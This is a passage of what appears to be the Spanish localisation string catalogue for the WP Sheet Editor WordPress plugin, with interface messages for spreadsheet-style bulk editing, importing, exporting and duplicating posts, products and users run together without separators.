deshabilitadas en los módulos?¿No mostrar columnas de sólo lectura en la búsqueda avanzada?DescargarID de la descarga %dURL de la descarga %dNombre de la descarga %dDescargar archivo CSVURL de la descargaCaducidad de la descargaArchivos descargablesArchivos descargables: URLsArchivos descargables: NombresLímite de descargasNombre de la descargaTipo de descargaActualización de descargaDescargableDescargasArrastra las columnas a la izquierda o a la derecha para habilitarlas/deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. Haz clic en el botón "editar" para renombrarlas, haz clic en el botón "x" para borrarlas por completo (sólo cuando estén deshabilitadas previamente).DuplicarDuplicar (Herramienta)Duplicar desde el idioma principalDuplicar artículos masivamenteDuplicar elementos masivamente.Duplicar filaDuplicar filas: Número de copias a crear por loteDuplicar este elemento:Archivos de descarga EDDPrecio variable EDDHABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: {columns}. ¿Quieres recargar ahora? Recargaremos automáticamente.TERMINA CONHoja de Cálculo de Easy Digital DownloadsEditarEditar Editar %sEditar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. Descargar PluginEditar Campos Personalizados en una Hoja de CálculoEditar Entradas y Páginas en una Hoja de CálculoEditar perfiles de usuario en una hoja de cálculo - BásicoEditar Perfiles de Usuario en la Hoja de Cálculo - COMPLETOEditar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre filas,
                  Editar post types personalizados y campos personalizados, Editar Perfiles de Usuario, y MásEditar %s de WordPressEditar todas las filas de mi búsqueda actual (incluyendo las filas no visibles).Editar atributosEditar categorías, etiquetas y atributos en una hoja de cálculoEditar archivosEditar en una Hoja de CálculoEditar la meta claveEditar solo los productos simples y padresEditar solo las variacionesEditar ajustesEditar las filas que he seleccionado manualmente en la hoja de cálculo.Editar las mismas filas que seleccioné manualmente previamenteEditar "%s"Editando:El rol de editor puede ver y editar todos los post y páginas.ElementorCorreo electrónicoMensaje del correoAsunto del correo electrónicoHabilitarHabilitar filtros avanzadosHabilitar todas¿Habilitar el guardado automático?Habilitar columnaHabilitar comentariosHabilitar nueva hoja de cálculo¿Habilitar la opción de restringir las vistas de hojas de cálculo por usuario?Habilitar la paginaciónHabilitar las valoraciones¿Habilitar el modo simple?Habilita el modo avanzado en la parte inferior de la página para personalizar el ancho de la columna, el formato (editor, carga de archivos, taxonomías), etc.¿Habilitar modo oscuro?Habilitar el selector de términos de taxonomía bonitoHabilitar la corrección de la codificación utf8Habilita esta opción si quieres copiar todos los datos de la variación, excepto la imagen de la variación.HabilitadasHabilitar esta columna requiere una recarga de la páginaIngresa %sIngresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. Puedes agregar rangos como 20-50 como un acceso directo.Ingresa un formato de fecha. Lista de formatos. Ejemplo: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: A-m-d H:i:sIngresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: D-M-A Ingresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-d H:i:sIngresa una palabra claveIngresa una palabra clave para excluir filas. Separa múltiples palabras claves con un punto y coma (;)Ingresa un nombre...Ingresa un número y esas columnas se fijarán al hacer scroll horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas.Ingresa un término de búsqueda...Ingresa un títuloIngresa un nombre de usuario o correo electrónico...Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás tener que desplazarte por docenas de columnas para encontrar la que necesitas.Ingresa cada selección en una nueva línea. Para mayor control, puedes especificar un valor y una etiqueta así: rojo : RojoIngresar nombre del elemento...Ingresa varios SKUs o IDs separados por comasIngresa múltiples URLs separadas por comasIngresa varios atributos separados por |Ingresa los códigos de varios idiomas separados por comas y crearemos copias del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán omitidos.Ingresa varios títulos separados por comasIngresa varios términos separados por %sIngresa varios términos separados por comasIngresa una URL por líneaIngresa uno o más términos separados por %s o uno nuevo en cada línea. Ingresa la jerarquía completa como "Padre > Hijo" para remover subcategoríasIngresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio.com/wp-content/uploads/2016/01/file.jpg) o una URL externa.Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio.com/wp-content/uploads/2016/01/file.jpgIngresa las URL separadas por comas. Pueden ser de tu propio sitio.Ingresa las URL separadas por comas. Deben ser de tu propio sitio.Ingresa el nombre del atributoIngresa el nombre de la columna (lo que quieras) y selecciona la clave de campo en el menú desplegable. Si no la encuentras, puedes escribirla en el desplegable. Ver Tutorial Debes ingresar la jerarquía completa como padre > hijoIngresa la lista de claves de campo separadas por comas, puedes ingresar la clave completa del campo meta o las palabras clave o prefijos parciales. Esto es útil porque algunos plugins añaden miles de campos innecesarios a la base de datos y desordenan la hoja de cálculoIngresa los nombres de Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como padre > hijo > hijoIngresa el número.Ingresa el número del porcentaje.Ingresa el nombre o el slug del término.Ingresa el valor a añadir al final del valor existente.Ingresa el valor para añadir al inicio del valor existente.Error en la fila con el ID: %d - %sError. El motor matemático no pudo ejecutar la operación matemática: %1$s, ID: %2$dError. La columna "Estado" debe estar habilitada en la hoja de cálculo antes de remover los duplicados.Error: %sError: El nuevo valor está vacío o es igual al valor antiguoEtc.Hoja de Cálculo de The Events CalendarYa está todo guardado.Todo lo que necesitas para todos los post types y productosTodo lo que necesitas para los usuarios y clientesEjemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 (Establecer precio normal - 30%)Ejemplo: ExtractoEjecutarEjecutar AhoraSalirSalir del modo de Pantalla CompletaExportarExportar e importar ajustesExportar columnaExportar filas más rápido: Número de filas a exportar por loteExportar a un archivo CSVAmpliar la hoja de cálculoNombre de la extensiónExtensionesExtensiones que requieren actualizaciónImágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?Campos de búsqueda marcados como favoritosImagen DestacadaImagen destacadaCampoCampo 2: Columna en el CSVCampo 2: Campo en WordPressArchivo (URL o ruta)ID del archivoURL del archivoURLs de archivosNo se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo.Cargar archivoCarga de archivos (múltiple)Carga de archivos (individual)El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una codificación incorrecta. Si editaste el archivo en Excel, verifica que se guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo los valores y no el formato para evitar pegar caracteres inválidos.Archivos guardados.Filtrar elementos de la listaPaso finalEncontrar estos IDs:Encontrar estas URLs:Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 parámetros: $current_data (string con el valor actual de la celda) y $row_id, la función debe aceptar los 2 parámetros y devolver el valor modificado para guardar como string. Automáticamente guardaremos si el valor devuelto cambió. Leer más.Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta de búsqueda, actualizaremos sólo los posts con el autor MarcosPor ejemplo, si seleccionas las categorías del blog, sólo aceptaremos categorías del blog en esta columna.Por ejemplo, si seleccionas el post type "producto", sólo aceptaremos títulos de productos.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos productos que no tienen traducción al español ni al alemán.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos términos que no tienen traducción al español ni al alemán.Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se borra la imagen destacada y las imágenes de la galería de productos de la biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, se romperán las imágenes en otros postsModo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda está vacío)Fórmulas¿Congelar las columnas iniciales del lado izquierdo?Hoja de Cálculo FrontendHojas de Cálculo FrontendURL CompletaContenidoEl modo de pantalla completa está activadoGaleríaAjustes generalesGenerar extractoGenerar columnas de campos serializados basados en estos postsObtén ayuda instantánea en el chat en vivo + soporte por correo electrónico en horas de oficinaObtén las siguientes %d extensiones por sólo $ %s $ %sHoja de Cálculo de GiveWPOrden globalPásate a PremiumAtrásIr a la páginaIr arribaHojas de Cálculo de GoogleGuías y TutorialesAlturaAyudaAquí hay un archivo CSV como ejemplo que contiene todo tipo de productos.Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas un valor alto, la copia terminará más rápido pero puede saturar tu servidor. Recomendamos copiar 50 por tanda.Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un número alto, las exportaciones terminarán más rápido. Puedes usar un número alto de forma segura porque automáticamente volvemos a un número más bajo si el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 filas por lote y completar las exportaciones súper rápido y si detectamos lentitud en una exportación reiniciaremos automáticamente la exportación con 10 filas por loteOcultar / Mostrar columnasOcultar la barra de administración en el frontendOcultar columnaHoras¿Cómo se guardan los valores múltiples en la base de datos?¿Cómo debemos encontrar los elementos existentes a editar?¿Cómo quieres guardar los archivos múltiples?¿Cómo quieres guardar los posts múltiples?¿Cómo quieres guardar los términos múltiples?¿Cómo se guarda el archivo en la base de datos?¿Cómo se guarda el post en la base de datos?¿Cómo se guarda el término taxonómico en la base de datos?¿Cómo se guarda el usuario en la base de datos?¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)¿Cuántas copias quieres crear?No quiero copiar todas las variacionesTengo una copia de seguridad de la base de datos. Ejecutar AhoraEntiendo que se editarán los productos de mi búsqueda.Entiendo, continuarQuiero buscar las filas a editar y editar todos los resultados de la búsquedaPor ejemplo, un valor como "(234343) Mi gran título" puede convertirse en "Mi gran título" eliminando todo lo que precede a ") ".Es decir, un valor como "Mi gran título (234343)" puede convertirse en "Mi gran título" eliminando todo lo que aparece después de " ("IDSi la columna tiene texto demasiado largo, borraremos el HTML y lo acortaremos a un número de palabras.Si se trata de un atributo global, ingresa la clave del atributo (por ejemplo, pa_color). Ingresa el nombre si se trata de un atributo personalizado.Si estás intentando descargar algo que se exportó hace varias horas, es posible que el archivo haya caducado. Los archivos caducan al cabo de %s horas.Si haces clic en el botón "descargar", descargaremos el archivo desde el sitio web oficial: wpsheeteditor.com.Si deshabilitas esta opción, esta columna sólo se editará manualmente.Si habilitas esta opción, algunas columnas aparecerán como texto. Normalmente detectamos los campos de fecha, campos de imagen.Si habilitas esta opción, el widget de estadísticas de uso que se muestra en el panel de control de wp-admin será eliminado.Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden utilizar todas las vistas de la hoja de cálculo si esto está desactivado.Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la herramienta de búsqueda, la herramienta de edición masiva, la herramienta de importación, la herramienta de exportación y otros lugares.Si detienes una importación para editar el archivo CSV o cambias la velocidad de importación, puedes iniciar una nueva importación y continuar desde donde la dejaste.Ignorar esta columnaAltura de previsualización de la imagen dentro de la celdaAncho de previsualización de la imagen dentro de la celdaImagina poder hacer todos esos cambios a cientos o miles de entradas a la vez en sólo unos minutos. La función de fórmulas está disponible como extensión premium.ImportarImportar todas las filas como nuevasImportar todas las columnasImportar como metadatosImportar CSVImportar ajustesExtensiones importantesImportante. Sólo hemos detectado una columna en el archivo CSV. Si esto es incorrecto, sigue estos pasos para arreglarlo.ImportandoEn los últimos X díasEn las últimas X horasEn las últimas X semanasEn los últimos X añosEn esta página puedes configurar rápidamente el editor de hojas de cálculo. Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras pestañas son completamente opcionales y te permiten ajustar el rendimiento del editor entre otras cosas.Aumentar la productividadIncrementar enIncrementar en númeroIncrementar en porcentajeAumentar o disminuir los precios de los productosAumentar o disminuir el inventario de los productosAumentar filas por páginaAumenta el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Desfase inicial de las filasInsertar en el elementoInstalar GratisIntegraciones#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un tipo de fórmula desconocida.#8W89PQ inválido. La fórmula matemática está vacía.#8W89PQ inválido. La fórmula matemática está vacía.#PQ8SPQ inválido. La función PHP no existe: %s#PQ8SPQ inválido. La fórmula matemática contiene una coma: %sUnidad de tiempo inválida.InventarioEs descargableEs Virtual¿Es visible?¿Es un atributo global?Es destacado?¿Es de sólo lectura?¿Es visible?Busca en el título de la entrada y en su contenido. Busca por varias palabras clave separándolas con punto y coma (;)Es importante que las instales para evitar errores, pero puedes hacerlo más tarde si quieres. Encuentra esta ventana emergente en la barra de herramientas > extensiones > Integraciones.Elementos cargados en la hoja de cálculoSólo guarda los cambiosClaveEtiquetaÚltima modificaciónDéjalo vacío para usar los ajustes globales.Deja este campo vacío si quieres anular el término.LongitudModo claroColor de los enlacesListado de columnas eliminadasEn vivoCargarCargar más filas¿Cargar más filas al hacer scroll?Cargar más al hacer scrollCargar las filas más rápido: Número de filas a cargar por loteLocalizar celdaLocalizar celda.Localizar columnaLas celdas bloqueadas sólo muestran una vista previa del valor. La longitud de caracteres por defecto es %dMensaje de inicio de sesiónLogoColor principalHacer otra búsquedaGestionar de inventario¿Administrar los valores de las columnas de taxonomía como IDs de términos?¿Gestionar los valores de las columnas de taxonomía como slugs de términos?¿Administrar la columna "Padre" usando los IDs?Fórmulas matemáticasFórmula matemáticaDecimales para redondear valores al realizar ediciones masivas en columnas numéricas?Operación matemáticaCantidad máxima de campos disponibles para búsqueda avanzada?¿Número máximo de caracteres mostrados en la vista previa de los valores de las columnas tinymce?Número máximo de segundos para descargar imágenes externas?Número máximo de variaciones por combinación de atributosNúmero máximo de palabrasMáximo de caracteres visibles en las celdas bloqueadasTal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor no está configurado correctamente y nuestra carpeta %s no tiene permisos de escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda a tu proveedor de hosting.Hoja de Cálculo de la Biblioteca de Medios de WordPressMenúClaves meta que deben utilizar el administrador de campos serializados infinitosMeta: %sMicrosoft Excel (Office 365)Tipo de MIMEMisceláneaColumnas faltantesFalta el número y la unidad de tiempo.Parámetros faltantes.Falta el post type o la column_key (clave de la columna)Falta el post type, old_column_key, o new_column_key; o la clave antigua y la clave nueva son iguales."Datos" del campo requerido faltantes.Campo requerido faltante. Por favor, inicia el proceso de nuevo.Fecha de modificaciónFecha de Modificación (GMT)Celdas modificadasFilas modificadasMesesMás opcionesMover todos tus borradores a posts publicados o a cualquier otro estadoMover cientos de entradas a la papeleraDesplegable de selección múltipleMúsicaMi licenciaNO CONTIENENo Contiene esta palabra claveNombreNombre de esta exportaciónNombre de esta exportación (opcional)¿Necesitas ayuda?¿Necesitas ayuda? Consulta nuestros tutoriales¿Necesitas ayuda? ContáctanosNueva Hoja de CálculoNuevo menú desplegable de selección múltiple (predeterminado)Se añadieron nuevas filasNuevo valorSiguienteNoNo se han encontrado artículos.No hay más filas disponibles.No hay opciones disponiblesNo hay filas disponibles para la página actual.No se han encontrado filas que coincidan con los parámetros de búsqueda. Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente.No se han encontrado taxonomías.No, eliminar todo lo que aparece después del texto, sin incluir el textoCelda normalNo está permitido.No permitido. Por favor, inicia el proceso de nuevo.No encontradoNo se encontró en la PapeleraNota. Esta no es una característica de seguridad, el usuario puede editar todos los campos en el editor normal basado en el rol. Esta opción es por conveniencia, para que los usuarios puedan solo ver las columnas que necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, podrán cambiar entre todas las vistas existentesNota: Separa los valores con el caracter %1$s
                  Te recomendamos usar Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la variación debe estar habilitada. De lo contrario, los atributos no se guardarán.Nota: Separa los valores con este carácter: %s.
                  El producto debe ser variable y tener variaciones existentes para que esto funcione. De lo contrario los atributos por defecto no serán guardados.NúmeroNúmero de decimalesNúmero de filas a procesar por lote:OKAutocompletado de selección simple antiguoSlug antiguoVersiones más antiguas de Microsoft ExcelUn correo electrónico por usuario significa que si 3 filas tienen la misma dirección de correo electrónico, sólo una fila activará un correo electrónico y las demás se omitirán. Un correo electrónico por fila significa que si 3 filas tienen la misma dirección de correo electrónico, enviaremos 3 correos electrónicos a la misma dirección (uno por fila).Una fila de variación tiene un producto padre que no existe. La columna "padre" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva importaciónSolo los administradores pueden enviar correos electrónicos a los usuarios.Copiar solo las variaciones nuevasSólo crear las filas nuevas, ignorar las filas existentesSólo para usuarios avanzados. Leer más.¿Sólo se puede enviar un correo electrónico por dirección?Oops, no encontramos nada.Abrir la Página de AjustesAbrir en una Hoja de CálculoAbrir el Editor de Hojas de CálculoOperadorOrdenOtroOtras extensionesFunción PHPPágina PadrePáginasPadreHoja de Cálculo Padre:ContraseñaPega los ajustes aquí (el contenido del archivo exportado). Notas:Pegar con el teclado: Ctrl+VPausarLos receptores responderán a esta dirección de correo electrónicoEstado del pingModo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda está vacío)Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, guárdalos o serán descartados.Por favor, corrige el error y guarda de nuevo.Por favor, corrige el error en el archivo e inicia una nueva importación. Puedes usar las "Opciones avanzadas" en el paso 1 de la importación para empezar desde esta fila específica.Ingresa el asunto y el mensaje del correo electrónico.Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas por comas.Por favor, indica cuáles términos quieres remover.Por favor, haz una copia de seguridad de tu base de datos antes de importar para estar más seguro.Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa la herramienta "Buscar" en la barra superior).Por favor, selecciona un producto.Por favor, selecciona un producto de origen.Por favor, selecciona al menos una columna a importarPor favor, selecciona un color de fondoPor favor, selecciona el post type y guarda los cambios. Después de guardar los cambios, podrás ver el resto de los ajustes e instrucciones.Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Esta función requiere la última versión de todos nuestros plugins.Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Las características del plugin "PosiciónDesplegable de postsPost typeHojas de CálculoHoja de CálculoDatos del postMeta del post (es decir, metaboxes)Términos del post (es decir, categorías)Post typePost type eliminadoPost type(s)Tipos de posts creados con WP Sheet EditorEntradasAñadir al inicioPrevisualizar el Editor FrontendAnteriorMenú PrincipalProProcesando...Procesando: Se han exportado %1$d de %2$d filas.Atributos del productoAtributos de producto no usados para las variacionesAtributos de producto no visiblesGalería del productoPromoción. Ahorra %d%% solo hoy. Nota de compraRespuestas rápidasBúsqueda rápidaAjustes rápidosREGEXPRaw HTMLLas columnas de sólo lectura mostrarán un candado y no será posible editarlas en ninguna parte de la hoja de cálculo. Esto no es una característica de seguridad porque la gente todavía puede editar en las pantallas normales de WP.Realinear celdasPrecio normalPrecio normal¿Recordar esta configuración de columnas para futuras importaciones?Eliminar todos los filtrosQuitar la columna completamente. Si quieres usarla más tarde, puedes deshabilitarla arrastrando y soltando a la columna de la derechaEliminar duplicadosBorrar duplicados por SKU (borrar los más nuevos)Borrar duplicados por SKU (borrar los más viejos)Borrar los duplicados por título (quitar los más nuevos)Borrar los duplicados por título (quitar los más antiguos)Borrar duplicados por título (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más antiguos)Eliminar todo lo que aparece después de un textoEliminar todo lo que aparece después de este textoEliminar todo lo que aparece antes de un textoEliminar todo lo que aparece antes de estoEliminar imagen destacada¿Ocultar los mensajes de ayuda de las celdas?Remover términos de los postsEliminar el valor existente y dejar el campo vacío. Leer más¿Quitar también el texto de arriba?¿Eliminar el texto también?Renombrar columnaReemplazarReemplazar un término de atributo por defectoReemplazar un archivo multimedia por otro archivoReemplaza una palabra, frase o número con un nuevo valor. Leer másReemplazar el valor existente por un valor aleatorio de esta lista. Ingresa los valores separándolos con | si quieres seleccionar de una lista predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar cualquier fecha de ese rango.Reemplazar el valor existente por este valor. Leer másReemplazar los shortcodes viejos por shortcodes nuevos en todos tus postsReemplazar algún/algunos término(s) con término(s) nuevo(s). Leer másReemplazar estos archivosReemplazar estoReemplazar este archivoReemplazar este términoReemplazar palabras o frases en los títulos, contenido u otros campos de tus postsResponder aSolicitud no permitida. Inténtalo más tarde.Restablecer los ajustesRedimensionar las columnas en base a los valoresRestaurar columnas eliminadasRecuento de valoracionesFilaFila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu CSV utiliza el nombre correcto en la columna Post type.Fila: %d. No tienes suficientes permisos para borrar este post.Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el nombre correcto en la columna "Tipo de post" o "Post Type".FilasFilas eliminadas con éxitoLas filas que he seleccionado manualmente en la hoja de cálculoEjecutar búsquedaSEOURL Canónica de SEODescripción SEODescripción SEO para FacebookImagen SEO para FacebookTítulo SEO para FacebookPalabra clave de SEOSEO - No indexar%s SEO PrimarioDescripción SEO para TwitterImagen SEO para TwitterTítulo SEO para TwitterTítulo SEOSKUINICIA CONPrecio rebajadoFecha final del precio rebajadoPrecio rebajadoFechas del precio rebajadoFecha inicial del precio rebajadoFecha inicial del precio rebajadoFecha final del precio rebajadoIgual que el post type de la hoja de cálculoIgual que la taxonomía de la hoja de cálculoGuardarGuardar y continuarGuardar cambiosGuardar los cambios y editar el siguiente postGuardar los cambios y editar el post anteriorGuarda los cambios más rápido: Número de filas a guardar por loteGuárdalos como un array serializado¿Guardar estos ajustes para sesiones futuras?Guardar esta búsquedaExportaciones guardadasBúsquedas guardadasGuárdalos separados por comasGuardado: %sGuardando cambios, por favor no cierres esta página.Escanear la BD para encontrar camposEscanear AhoraEscaneando variaciones a crear. Se han procesado {updated} productos de {total} productos.BuscarBuscar Hoja de Cálculo¿Buscar variaciones?Seguridad y roles de usuario (opcional)Seleccionar columnas habilitadasSeleccionar todasSeleccionar todos los productos de una búsquedaSelecciona la columna....Selecciona las columnas a importarSeleccionar columnas individuales a importarSeleccionar productos individualesSeleccionar producto....Selecciona el formato de las celdas, si las celdas deben ser de texto normal, un cargador de archivos o un editor de texto.Selecciona la información que quieres editar con el editor de hojas de cálculo.Selecciona el tipo de información utilizada en las celdas de esta columna.Selecciona las filas que quieres editar.Selecciona el tipo de ediciónSeleccionar...Enviar correo electrónicoEnviar un correo electrónico por filaEnviar un correo electrónico por usuarioSeparados por comasSeparadorSeparador de celdas de términos de taxonomíaArray serializadoEstablecer imagen destacadaConfigurar cientos de productos a la vez como sin existencias o en existencias¿Guardar con estado "Pendiente" si el guardado de la imagen destacada falló?Establecer valor aleatorioPonerle la misma imagen destacada a todos los posts de una categoríaGenerar hoja de cálculoEstablecer valorAjustesConfigurar página en el frontendGenerar hoja de cálculoSheet EditorClase de envíoDescripción cortaMostrar opciones avanzadasMostrar opciones avanzadas ¿Mostrar todos los estados de posts personalizados?Mostrar las celdas como texto simpleMostrar la clave de la columnaMostrar elementos publicados entre estas fechasMostrando las filas de la última sesión.Texto simpleDesplegable de selección simple¿Omitir las imágenes rotas?SlugVendido individualmenteSolución de errores rarosAlgunos cambios no han sido guardados todavía.Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de destino deben usar los mismos plugins para que tengas las mismas columnasAlgunos plugins requieren compatibilidad especial y hemos creado estas extensiones que puedes descargar gratuitamente si compraste nuestro plugin.Algunos plugins ejecutan una tarea después de crear o actualizar una entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus perfiles sociales, otros plugins notifican a los usuarios después de que una entrada es actualizada, etc. Puede que haya un problema con esos plugins. Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes terminar con 100 tweets compartidos en tu cuenta de twitter. Así que habilita esta opción si quieres actualizar / crear posts silenciosamente sin ejecutar esas funciones.Algunas filas fueron modificadas en segundo plano. Por favor, guarda los cambios y recarga la hoja de cálculo para ver los cambios.Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios antes de usar esta función.OrdenarOrdenar alfabéticamente ASCOrdenar alfabéticamente DESCFuenteVelocidad y rendimientoArchivos de la Hoja de CálculoAtributos de la Hoja de CálculoHoja de cálculo para %s %sVista de hojas de cálculoHojas de cálculo habilitadas para estos post typesLista de hojas de cálculoNavegación por la lista de hojas de cálculoProducto estándarComenzar desde este número de fila:Iniciar nueva exportaciónEstadoInventarioEstado del inventarioEl rol de suscriptor no está autorizado para utilizar el editor.¿Suspender la invalidación de la caché de objetos?EtiquetasEtiquetas (separadas por comas)Productos de destino no encontrados.Las columnas de taxonomía como las categorías de las entradas, las etiquetas de las entradas, etc. muestran los términos separados por comas, si usas comas en los nombres de las taxonomías, usa esta opción para cambiar el separadorDesplegado de taxonomíasMenú desplegable de taxonomías. Sólo si la fuente de datos = Términos del post.Desplegable de términos de taxonomíaEl elemento de la plantilla con ID %d no se ha encontrado o no se puede duplicar.ID del términoTérminosTextoEditor de texto (tinymce)Gracias por actualizar a la nueva versión del plugin.Gracias por usar nuestro editor de hojas de cálculoLa herramienta "Crear variaciones" te permite crear variaciones basadas en la combinación de atributos. El límite por defecto es de 200 variaciones para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas más variaciones.La columna "Precio normal" está oculta. Actívala en el gestor de columnas antes de realizar esta edición masiva.La función "Editor Masivo" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:La Hoja de cálculo está lista.La hoja de cálculo de productos de WooCommerce genera automáticamente las unidades de inventario y las estadísticas de precios de inventario y muestra las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja si tienes varios miles de productos. Desactívalo si la hoja de cálculo es demasiado lenta o ves errores al cargar las filas.El guardado automático falló: El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El cambio masivo ha sido editado con éxitoEl cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los cambios?A la edición masiva le falta información importante, por favor, completa el formulario.El cambio masivo se está ejecutando. Por favor, no cierres esta ventana hasta que el proceso haya terminado.El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana.La celda mostrará los valores como URLs y puedes editar en las celdas usando URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs externas se importan automáticamente en la biblioteca multimedia.
                  Guardaremos el valor en el formato seleccionado aquíLos cambios que estás a punto de realizar no son reversiblesLos cambios que estás a punto de realizar son irreversibles. Debes hacer una copia de seguridad de tu base de datos antes de proceder.Nombre de la columna que se muestra en la hoja de cálculoLa columna seleccionada no es válida.La columna aparecerá en la hoja de cálculo y en las exportaciones si el usuario tiene un rol con la capacidad requerida.La columna puede ser leía solo si el usuario no tiene un rol con la capacidad requerida.La forma predeterminada usa un método de ejecución más rápido, pero puede que no funcione en todos los casos. Usa esta opción cuando la forma predeterminada no funciona o no actualiza todas las filas.El editor sólo está disponible para usuarios registrados. Los usuarios desconocidos verán un formulario de inicio de sesión.Las variaciones existentes en los productos de destino no serán editadas ni sobrescritas.La función de exportación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La exportación ha sido editada con éxitoEl archivo exportado no existe. Esto puede ocurrir por las siguientes razones:El archivo no existe. Ruta inválida: %sLos archivos no se pudieron guardar.La función de importación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La importación ha sido editada con éxitoLa importación se ha completado.La importación sobrescribirá los ajustes existentes.El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro momento.Clave que se utilizará para guardar la información en la base de datos. Debe ser única, sólo letras y guiones bajos.El último lote de importación falló debido a un error del servidor, es más probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva importación, a veces intentarlo de nuevo funciona (usa los "Ajustes avanzados" en el paso 1 de la importación para empezar desde una fila específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos.La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu archivo.La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el proceso haya terminado.
